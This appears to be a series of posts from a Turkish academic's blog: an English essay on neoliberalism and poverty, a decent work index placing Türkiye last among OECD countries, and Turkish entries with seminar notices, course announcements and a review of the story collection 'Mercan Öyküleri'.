When the protection umbrella, which is welfare state, disappeared poverty become more visible. And when the most of merchandise in social life marketization proceed, poverty affect more and more people. So we can say that after the middle class welfare regimes failed, poverty become more complex and visible social problem.
After the neo – liberalism declare its sovereignty wage come into the most important thing for survive in the society. If anybody cannot get a job or is not lend to work have to go out the other dimension which is social aid. And in neo – liberalism, social aid offers very narrow opportunities. So poor people stay continue to be poor.
When the welfare state consensus broke down, poverty turn into a political thing. Also participant democracy changed the blink of government onto poverty. Social aid systems began to addict poor’s to social aid. And turn them to electorate of government party. So this is going to be barren process. One way or another poverty problem is going to be ethic problem then. Because according to market economy, poor’s are the people who cannot adapted the economic system. And this is their fault. On the other hand, government social aids labeled them in this concept. After this poor’s began to think that they are incoherent and meaningless for society. So this turn into another vicious circle. Government makes them addict and nourished from this system. Because they think that social aid is not their right but boon of the government.
Glance to the poverty is mostly political in the neo – liberal paradigm. But this does not mean that poverty transformed into political subject but glance of it turn into political.
What is Türkiye’s Position in Decent Work Index? Even Others Steady At 1995.
Decent work is a concept which excessively noticed by ILO since 1998. Employment became scarce meta during the nineties. During this period, informalization process forge ahead and getting job couldn’t be enough for life well. Also if you cannot get the decent work opportunities, this means that probably your possibility to get through the occupational accident is high, your dream for retirement is so dark and the most likely you are not sure that you are going to work for your employer tomorrow. Because of these developments, decent work concept come up to ILO’s agenda frequently and people began to think too much about decent work.
Decent work has some components and also indicators. According to these indicators, academicians started to prepare an index and compare the countries up to the decent works that they have. Comparing countries is probably the most liked thing in the academician’s world. Afoot index for comparing the OECD countries in decent work performance has basic methodology. This index prepared by Dharam GHAI in the article “Decent Work: Concept and Indicators” which published in International Labour Review Vol: 42, No: 2, 2003. In that index, for comparing countries at decent work performance, explaining the four components of decent work nine ratios pre owned. According to these ratios we can give countries score and then categorize them. At four components every country has a rating and then average of this four rating they have final score and ranking. First country in this index has too much job in decent work concept, the last one has least.
In that very simple index nine ratios were used. This can clarify the gender disparities, employment, social dialog and social protection. These ratios cannot explain every concept well but they can give idea. Of course it is open to use different weighs for different indicators and for different components of decent work. What we are going to do is put Türkiye somewhere in this index. There is a big problem about comparison, other countries statistics concerning 1995 but Türkiye’s statistics refer July 2013. This means Türkiye’s position for now can comparable for 22 OECD countries position at 1995.
For putting Türkiye somewhere in gender raking, female labor force participation rate, the ratio of female/male unemployment rate and female proportion of professional, technical and administrative work is needed. According to TUIK stats, female labor force participation rate in Türkiye is 31,6. This is the worst ratio in 22 OECD countries. Put the Türkiye at the end of list. Female administrative and managerial worker ratio is 15,3 and female professional and technical worker ratio is 36,1. Average of these two is 25,7 and this ratio perform Türkiye at 20th position. Female unemployment rate / male unemployment rate ratio is 1,36 this perform Türkiye at 15th row. Overall ranking at gender for Türkiye is 21.
At employment component three indicators are used. Labor force participation rate, unemployment rate and Gini coefficient. In this component Türkiye’s overall ranking is 22. Labor force participation rate is very low in Türkiye, because of female labor force participation rate is too low. Also income distribution performance of Turkish economy is not good enough. Totally Türkiye’s ranking is the worst one after Ireland in this component.
Türkiye is the stingiest country in the 22 OECD countries about government expenditure at pensions and health according to 2009 statistics. Only 5,8 percentage of GDP spent for pensions, and 5,4 percentage for health. Total 11,2 of GDP spent for pensions and health. Finally union membership as proportion of employees rate for Türkiye is 8,8. Which is the lowest in 22 OECD countries. So Türkiye’s score in this component is the 23. Total score for Türkiye is 22,25 which perform Türkiye at the last row.
Table: 1 Country Performance At Decent Work Components And Total Score
|
Country |
Gender Ranking |
Employment Ranking |
Social Dialog Ranking |
Social Protection Ranking |
Overall Ranking |
|
Sweden |
3 |
1 |
1 |
1 |
1 |
|
Denmark |
10 |
2 |
2 |
2 |
2 |
|
Norway |
1 |
3 |
6 |
4 |
3 |
|
Finland |
2 |
10 |
3 |
3 |
4 |
|
Austria |
12 |
5 |
9 |
9 |
5 |
|
Germany |
11 |
9 |
5 |
13 |
6 |
|
Canada |
6 |
8 |
19 |
10 |
7 |
|
Belgium |
14 |
16 |
7 |
5 |
8 |
|
United Kingdom |
5 |
15 |
13 |
12 |
9 |
|
Luxemburg |
23 |
7 |
11 |
8 |
10 |
|
Switzerland |
14 |
5 |
10 |
19 |
11 |
|
Netherlands |
18 |
13 |
8 |
14 |
12 |
|
Portugal |
9 |
12 |
17 |
14 |
13 |
|
Australia |
8 |
14 |
21 |
11 |
14 |
|
Italy |
20 |
18 |
12 |
7 |
15 |
|
Japan |
14 |
3 |
22 |
18 |
15 |
|
New Zealand |
7 |
17 |
16 |
16 |
15 |
|
United States |
3 |
11 |
20 |
21 |
15 |
|
Ireland |
13 |
23 |
18 |
6 |
19 |
|
France |
18 |
19 |
4 |
22 |
20 |
|
Greece |
22 |
20 |
14 |
16 |
21 |
|
Spain |
17 |
21 |
15 |
20 |
22 |
|
Türkiye |
21 |
22 |
23 |
23 |
23 |
Source: Türkiye’s Statistics Forum TUIK, www.tuik.gov.tr, Other Countries From The Article “Decent Work: Concept and Indicators”, International Labour Review Vol: 42, No: 2, 2003.
Sweden is the country which has the best performance about decent work. Also the other Nordic countries fallow Sweden. Scandinavian welfare regime has showed their characteristic properties. Which is not very surprised. Conservative welfare regime countries Austria, Germany has good performance about decent work. United States who has liberal welfare regime has still the de-regulated labor market and social protection and social dialog mechanism still cannot develop well. Greece, Spain and Türkiye which are sharing the last rows have big problem in their labor market. Probably Türkiye’s situation is better than these countries now. But this does not mean that we did everything about decent work concept and being on the top of Spain doesn’t mean a perfect position.
This comparison is not the whole picture about decent work. And also cannot give the same periods score for all countries. Since 1995 in the euro region most of the employment opportunities disappear and income distribution went bad. Even at the same period Türkiye did well specifically about the unregistered employment. But we can easily say that during this period Türkiye’s position at that index upraised only one or two row up. No more than this.
SETA’nın güz dönemi seminerleri için başvurular başladı. Geçen sene “Türkiye Ekonomi Politikası” seminerine katılan biri olarak şunu söyleyebilirim ki, seminerler faydalı oluyor. Ancak zaman zaman seminer programının dışındaki konuların konuşulduğu haftalar yaşanabiliyor. Geçen sene bazı aksaklıklardan dolayı yaşandığını düşündüğüm bu durum umarım bu sene yaşanmaz. Ben de geçen sene “Sosyal Politika ve Ekonomi” haftasını dinlemek üzere tüm haftalara katılmıştım. Ancak bu konunun konuşulacağı hafta ne yazık ki, enerji piyasası dinlemek zorunda kalmıştım. Bu sene üçüncü hafta orada olmaya çalışacağım.
Özellikle 3. ve 4. sınıf öğrencilerimizin mutlaka bir veya birkaç seminere katılmasının çok yararlı olacağı düşüncesindeyim.
Detaylara aşağıdaki linkten ulaşılabilir.
http://setav.org/Seminer?ref=email
Sosyal Bilimler Enstitüsü Çalışma Ekonomisi ve Endüstri İlişkileri Yüksek Lisans Programında yürütülen Gelir Dağılımı ve Yoksullukla Mücadele Politikaları Dersi içeriğine aşağıdaki linkte bulunan dosyadan ulaşabilirsiniz.
Ders kapsamında makale değerlendirmesinde makale seçimi yapılması sürecinde karışıklık olmaması ve öğrencilerin aynı makaleyi seçmesinin engellenmesi adına, tüm öğrenciler bu entry’nin yorum kısmına isimlerini ve seçtikleri makalenin ismini eklerlerse makale seçimi işlemini kesinleştirmiş oluruz. Daha önce kesinleştirme işlemi ile ilgili işlemleri e-mail ile yürütmüş öğrencilerin de aynı işlemi yaparak kesinleştirmelerini yapmaları gerekmektedir. Makale seçimi ile ilgili henüz iletişime geçmeyen ve makale seçmeyen öğrenciler [email protected] adresi ile iletişime geçebilirler.
GELİR DAĞILIMI ve YOKSULLUKLA MÜCADELE POLİTİKALARI DERS İÇERİĞİ
Gelir Dağılımı ve Yoksullukla Mücadele Politikaları dersi kapsamındaki ilk ödev teslim tarihi 4 Kasım 2013’e uzatılmıştır. Ders kapsamında e-mail veya şahsen makale seçimi yapan veya irtibata geçen öğrenci sayımız 13’tür. 9 Öğrenci makale seçimini kesinleştirmiş ve yorum kısmına ismi ile birlikte eklemiştir. 4 Öğrencimiz iletişime geçmiş ancak kesinleştirme işlemini gerçekleştirmemiştir. 5 Öğrenci dersle ilgili herhangi bir geri dönüşte bulunmamış ve 1 öğrenci de derse devam edemeyeceğini bildirmiştir. Dolayısıyla 13 öğrencimiz makale çevirisi ve sunum konusunda belirli aşama kaydetmişlerdir. Dolayısıyla ders takviminde sizlerden gelen talepleri de dikkate alarak 1 haftalık bir erteleme yapıyoruz. Ödev teslim tarihi 4 Kasım 2013’e kadar uzatılmıştır. Dolayısıyla 1 Kasım 2013 tarihinde ders yapılmayacaktır. 8 Kasım Tarihinde ödevlere ilişkin 3 arkadaşımız sunum yapacaktır. Bu tarihte ayrıca final ödevlerinin belirlenmesi gerçekleştirilecektir.
8 Kasım Tarihinde ödev sunumu yapmak isteyen ilk üç kişi yorum kısmına isimlerini yazarlarsa gönüllü arkadaşlardan başlayabiliriz. Eğer kimse gönüllü olmayacak ise sunumlara öğrenci numarası sırasıyla başlanılacaktır. Dolayısıyla Hande Güneri, Sinan Ekşi ve Aytekin Yalçın gönüllü olmaması halinde 8 Kasım 2013 tarihinde sunum yapacak öğrencilerimiz olacaktır.
SUNUM TARİHİ VE SUNUM YAPACAK ÖĞRENCİLER İLE İLGİLİ DUYURU
Vize ödevlerinin teslim tarihini bildiğiniz üzere daha önce uzatmıştık. 4 Kasım 2013 saat 17:30’a kadar e-maille [email protected] adresine veya 426 nolu odaya elden teslim edilecek ödevler dikkate alınacaktır.
İlk hafta yani 8 Kasım Tarihinde ise kimse gönüllü olmadığı için Hande Güneri, Sinan Ekşi ve Aytekin Yalçın’ın sunum yapmasını öngörmüştük. Ancak Hande Güneri derse devam edemeyeceğini bildirdi. Sinan Ekşi o tarihlerde Ankara dışında olacağını bildirdi.
8 Kasım tarihinde sunum yapacak üç kişinin öğrenci numarası sırasına göre Aytekin Yalçın, Esra Cankurtaran ve Ferudun Kaya olmasına karar verildi. Sunumlar vize notunun değerlendirilmesinde belirli oranda dikkate alınacaktır. Dolayısıyla ilk hafta sunum yapanların değerlendirilmesi farklılık arz edecektir.Sunumda sizden beklentimiz çevirdiğiniz makale ile ilgili değerlendirmelerde bulunmanız ve makalenin sonuç ve önerilerini tartışmanız olacaktır. Powerpoint kullanmanız mümkündür. 10 Slaytlık bir sunumu aşmamanız süre açısından olumlu olacaktır.
Annemin son kitabı “Mercan Öyküleri” hakkında Lacivert Dergisinde Ali Günay’ın yazdıkları.
MERCAN ÖYKÜLERİ: HEM YAŞAMDAN, HEM YÜREKTEN
Ali Günay
Bir-beş Mayıs 2013 tarihinde gerçekleştirilen 13. Ankara Öykü Günleri’nin panel başlıklarından biri “Öyküde Yazarın İzi-Yazarın kişiliği, yaşamından izler öyküye ne kadar giriyor?” bir diğeri ise “Öykü Hayata, Bedene, Suya Sabuna Dokunmalı mı?” başlığını taşıyordu. Bu başlıklar çerçevesinde Ü. Gülsüm Bülbül’ün “Mercan Öyküleri”(*) adlı öyküler toplamı için şunları söylemek olası:
Kitabı oluşturan 22 öykünün hemen hemen tamamında yazarın izini, yaşanmışlık olarak, tanıklık ya da duygusal paylaşım olarak duyumsamak olası. Ancak bu, batmayan, sırıtmayan, yalnızca kendini sezdiren, öyküler içinde erimiş, silikleşmiş bir iz. Ü. Gülsüm Bülbül, öykü kahramanlarının acılarına, sevinçlerine, heyecanlarına ortak olmayı, duygularını onlarla paylaşmayı seven bir yazar.
Öte yandan, hayata dokunmak bir yana “yaşamla bire bir örtüşen” (A. Kutlu) öyküler Ü. Gülsüm Bülbül’ün Mercan Öyküleri. Suya da sabuna da, farklı şekilde de olsa bedene de, ama en çok da yüreğe dokunan öyküler…
“İçindeki her şeyi çıkarmaya başladı. Bütün birikmiş öfkelerini, küskünlüklerini, hırslarını, kıskançlıklarını, nefretlerini, korkularını, acılarını ve en son umutlarını çıkardı, çıkardı, çıkardı…
İçinde saklı hiçbir şey kalmadı.
O, içindeki en son nefesi bile çıkarıp vermiş ama hiçbirimiz bunu fark etmemiştik.
Fark etseydik ‘en son nefes’i tutabilir miydik?” (s. 95)
Yukarıdaki “küçürek öykü” Ü. Gülsüm Bülbül’ün Mercan Öyküleri kitabının son -kısa- öyküsünün son bölümü, yani kitabın son satırları. Öykü, şöyle başlıyor: “Bir gün öyle bir şey olacak ki, yaşamımdaki her şey yavaş yavaş değişecek, evrilecek, dönüşecek.” Yazarın, doğrudan kendine dönük olduğu duygusu yaratan tek öyküsü bu.
Aşağıdaki alıntı ise, değerli yazar Ayla Kutlu’nun kaleminden çıkan, kitabın kapak yazısının son bölümü:
“Öyküler içinize buruk bir hüzünle mi yerleşiyor? Dile, cinselliğe, değişime, garipseme duygusuna, yalnızlığa, iletişimsizliğe… Bu olumsuzlukları gerçekleştiren engellere tam ortasından bakabilen, kabul etmeyişini ince sözcüklerle anlatan yazarın, bu küçücük kitabı, okuyanı düşüncelere salacak, ardında, ince bir sızıyla insanlık halleri hakkında düşündüğünü algılayan okurlar bırakacak.
Edebiyat başka ne yapmalı ki?”
Yaşamın acı ve acımazsız gerçekleri karşısında çoğu zaman insan da, edebiyat da çaresizdir. Ama birlikte direnmeleri olasıdır. Başka bir deyişle, insan gerçeklerin acıtıcılığına edebiyatla bir parça karşı koyabilir; gerçeklerin katılığını yumuşatıp dönüştürebilir, “acıyı bal eyleyebilir”.
Ü. Gülsüm Bülbül’ün, Mercan Öyküleri’nin büyük bölümünde yaratmaya çalıştığı ve en azından okuyucuya başarıyla aktardığı duygu bu gibi görünüyor.
Ayla Kutlu’nun belirttiği gibi, “Yazarın öyküye yaklaşımında ana izlek, küçük insanların yaşamları. Küçük, yoksul kızların, oğlanların, yaşamın baskısı karşısındaki ezilmiş kadınların duruşları, şaşkınlıkları ve kuşkuları… Bu insanlara eğilmeyi ve anlamayı sevdiği belli.”
Evet, Mercan Öyküleri’nin kahramanları, eşitliksiz, bencil toplumsal yaşamın haksızlıkları karşısında en zayıf, en korumasız konumdaki çocuklar ve kadınlardır. Bu, rastlantısal bir seçim değildir. Tersine yazarın, başta bu iki kesim olmak üzere ezilen, horlanan tüm insanların acılarına duyarlılığının öykülerine yansıması.
Nitekim kitaba da ilk öyküye de adını veren, öykünün kahramanı yoksul bir küçük çocuktur ve adı “Mercan”dır. Kitapta, kahramanı çocuk olan beş öykü daha var. A. Kutlu’nun, “Çocuk dünyasını seven, onu iyi tanıyan bir yazarın karşısındayız” dediği Ü. Gülsüm Bülbül “Bütün çocuklarıma…” diyerek kitabını da çocuklara ithaf etmiş. Böylece tüm çocukları, bir ana sevgisiyle kucakladığını duyumsatmış.
Kitaptaki 22 öyküden geriye kalanların -ikisi dışında- kahramanları kadınlardır. Toplumun eril ve cahil olmasından kaynaklanan,-eş ve oğul olarak erkeklerin sorunları da dahil – tüm olumsuzlukların çilesini çeken, fiziki ve manevi her türlü baskı ve şiddete maruz kalan, ezilen kadınlar… Bir bakıma, erkek egemen, geri kalmış toplumun “en alttakiler”i.
Kadın ve çocukları konu etmeleri ve yaşamdan, yaşanmışlıktan alınıp dönüştürülmüş olmaları, acı ve acıtıcı etkileri… Mercan Öyküleri’nin ortak noktaları. Bununla birlikte öyküler türdeş değil. Biçim yönünden de farklılıklar taşıyorlar. Örneğin Göz Boncuğu masalsıdır. Filburun “Kafka tarzı” özellikler de gösterirken, onunla birlikte Göz Boncuğu, Mercan II ve -kısmen de olsa- Bu Sabah Beni Kara Bir Karga Öptü fantastik unsurlar taşıyan öyküler. Yorgun Sinek, Can Eriği ve Plastik Muz tamamen mizahi değilse de güldürü unsurları yüklü.
Biçim denemeleri ise başta İkinci El olmak üzere Mercan I ve Kaplumbağa adlı öykülerde dikkat çekiyor. Siyah Eldiven ve Mercan III ise, derin anlamlı birer minimal öykü.
“Ü. Gülsüm Bülbül öykülerini oluştururken abartılardan, öykünün anlamını zayıflatan cafcaflı süslerden, lafı uzatmaktan uzak duran bir yazar” diyor Ayla Kutlu.
Bülbül’ün dili, yalın olduğu ölçüde acı, sevgi ve şefkat yüklüdür. Bunun başat nedenlerinden biri, yazarın bireysel ve toplumsal acılara duyarlılığı ise, diğeri de öykülerin, yaşamdan ve yaşanmışlıktan yansıyan acıların derin izlerini taşıması. Gerçek yaşamdan alınmış veya esinlenilmiş, yürekte damıtılarak dönüştürülüp kurgulanmış denebilir Mercan Öyküleri için. Kimi öykülerde yokluk yoksulluk, yerine göre sel, deprem, ensest, intihar, cinayet ve benzeri olayların acıları baskın. Kimi öykülerde ise yaşamdaki yeri doldurulamaz bir kaybın ardından çekilen ve her zaman, her yerde, her vesileyle nükseden, dinmeyen bir sızıyla hep kendini anımsatan acılar…
“Bir solukta okunabilen…” denir bazı kitaplar için. Mercan Öyküleri öyle değil. Öyle okunmamalı. Tersine, kitap değil, her öyküsü bir solukta okunmalı. Sonra durup soluklanmalı, yüreğe işleyen acısı usulca sindirilmeli.
Mercan Öyküleri’ndeki 22 öykü okunup kitabın kapağı kapatıldığında kalan ve uzun süre duyumsanan, yürekte sızıyla karışık bir lezzet; buruk bir acı-lezzet.
(*) Ü. Gülsüm Bülbül, Mercan Öyküleri, Kanguru Yayınları, Nisan 2013,
Seta aşağıda belirtilen kapsamda bir etkinlik yapacak. Tabii ki, orada olacağım. Zira mesele önemli. Bakalım önerilen sistem ne, üniversitelerin insan kaynakları politikaları nasıl şekillenmeli konusunda söylenecekler ne. Mevzu tabii ki, maaşta kilitleniyor ancak en az onun kadar önemli olan akademik özgürlük, öğretim üyesini motive edici sistemin kurulması ve yükselme için net kriterlerin oluşturulması bence.
Detaylar aşağıda ve linkte.
http://setav.org/tr/ulusal-ve-uluslararasi-karsilastirmalarla-ogretim-uyeligi-maasi/etkinlikler/6994
